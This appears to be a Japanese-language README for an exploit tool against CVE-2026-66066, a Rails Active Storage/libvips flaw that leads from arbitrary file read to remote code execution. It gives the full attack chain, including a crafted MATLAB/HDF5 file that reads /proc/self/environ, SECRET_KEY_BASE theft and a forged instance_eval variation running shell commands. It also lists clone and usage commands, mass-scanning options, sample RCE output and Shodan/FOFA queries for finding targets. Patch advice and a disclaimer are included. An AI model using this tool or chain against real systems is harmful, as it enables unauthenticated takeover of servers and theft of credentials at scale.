
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 は、Ruby on Rails Active Storage における重大度 (CVSS 9.5) の 事前認証 任意ファイル読み取りからリモートコード実行に至るチェーンであり、デフォルト構成の Rails 7.2.0–7.2.3.1、8.0.0–8.0.5、8.1.0–8.1.3 に影響を与えます。
この脆弱性は、Rails、libvips、libmatio、HDF5 にまたがる 4層パーサー混乱 を悪用します。MATLAB 5.0 ヘッダー(libvips のスニファーを満たす)と HDF5 v7.3 コンテナ(libmatio によってディスパッチされる)を持つ巧妙に細工されたファイルには、任意のサーバー側ファイルパスを指す 外部データセット が含まれています。Active Storage がこのファイルを画像バリアントとして処理すると、対象ファイルのバイトが画像ピクセルになります — 認証なしで任意のファイル読み取りが可能になります。
SECRET_KEY_BASE が /proc/self/environ または認証情報ファイルから取得されると、攻撃者は Active Storage のベリファイアキーを導出し、instance_eval を含む署名付きバリエーション JSON を偽造して、リモートコード実行を達成します。
影響を受ける環境: 500K+ の Rails アプリケーション (Rails 7+ のデフォルト
variant_processor = :vips) 発見者: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph(2026年7月) パッチ: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (2026年7月29日)
| ブランチ | 脆弱なバージョン | 修正版 |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x は、variant_processor = :vips が手動で有効化されている場合にのみ影響を受けます。
発見者: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph 参考PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
このエクスプロイトは、4つのコンポーネントにまたがる 2つの独立したコンテンツタイプ不一致 を連鎖させます:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
正当なライターがバイト0に
MATLAB 5.0、バイト124に0x0200の両方を出力することはありません。
Blob#variable? は、ダイレクトアップロード時にデータベース列に格納された値を信頼します。バイトは検査されません。Vips::Image.new_from_file はローダーを反復処理します; matload のスニファーは最初の10バイトのみをチェックします。0x0200 は記述テキストに関係なく HDF5 バックエンドを選択します。H5Pset_external を使用すると、データセットの生バイトを任意の外部ファイルに配置できます。libmatio は H5Pget_external_count をチェックせずに H5Dread を呼び出します。Transformers::Vips は基本クラスから validate_transformation を継承しますが、これは combine_options のみをブロックします。任意のメソッド名は Vips::Image.public_send に渡されます。1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
悪用に成功すると、Rails プロセスユーザーとしてのリモートコード実行 が可能になります:
SECRET_KEY_BASE を抽出 → 署名付きクッキー、セッション、ActiveStorage トークンを偽造credentials.yml.enc を復号 → データベースパスワード、クラウドストレージキー、サードパーティ API トークンアプリケーションのアカウントは不要です — ダイレクトアップロードエンドポイントは、デフォルトで認証なしのリクエストを受け入れます。
この修正は、信頼されない libvips ローダーをブロックします:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
これにより、matload、svgload、fitsload、niiload、radload、openslideload が信頼されない入力を処理できなくなります。Rails 7.2.3.2、8.0.5.1、または 8.1.3.1 にアップグレードしてください。libvips >= 8.13 と ruby-vips >= 2.2.1 が必要です。
パッチ適用後: Rails プロセスが読み取り可能なすべてのシークレットをローテーションしてください — SECRET_KEY_BASE、RAILS_MASTER_KEY、データベース認証情報、クラウドストレージキー。
教育および許可されたテスト目的のみに使用してください。
所有者の明示的な許可なしにシステムに対して使用しないでください。著者は誤用に対する責任を負いません。
発見者: Ethiack Research Team + RyotaK + bl0rph。Ruby on Rails とは提携していません。
| バイト | 目的 | 値 |
|---|
| 0–9 | libvips スニファー | MATLAB 5.0 |
| 10–123 | パディング | スペース |
| 124–125 | libmatio ディスパッチャー | 0x0200 (HDF5 v7.3) |
| 126–127 | エンディアンマーカー | 0x4d49 (IM) |
| 128–511 | HDF5 ユーザーブロック | パディング |
| 512+ | HDF5 スーパーブロック | 外部データセットを含むコンテナ |
| ファイル | 目的 |
|---|
activestorage/app/models/active_storage/blob.rb | variable? は content_type 列を信頼する |
activestorage/app/models/active_storage/blob/representable.rb | representation ルートは blob とバリエーションを独立に解決する |
activestorage/app/models/active_storage/variation.rb | decode はバリエーションキーを検証する; blob への相互参照はない |
image_processing/lib/image_processing/transformers/vips.rb | メソッド許可リストなし — 基本クラスの動作を継承 |
libvips/foreign/matload.c | vips__mat_ismat は最初の10バイトのみを検査する |
| リソース | リンク |
|---|
| Rails セキュリティアドバイザリ | GHSA-xr9x-r78c-5hrm |
| 参考PoC (0xsha) | KindaRails2Shell |
| Ethiack リサーチ | kindarails2shell |
| Rails フォレンジック | rails-forensics-CVE-2026-66066 |
| Metasploit モジュール | rapid7/metasploit-framework#21733 |
| CWE-94 | コードインジェクション |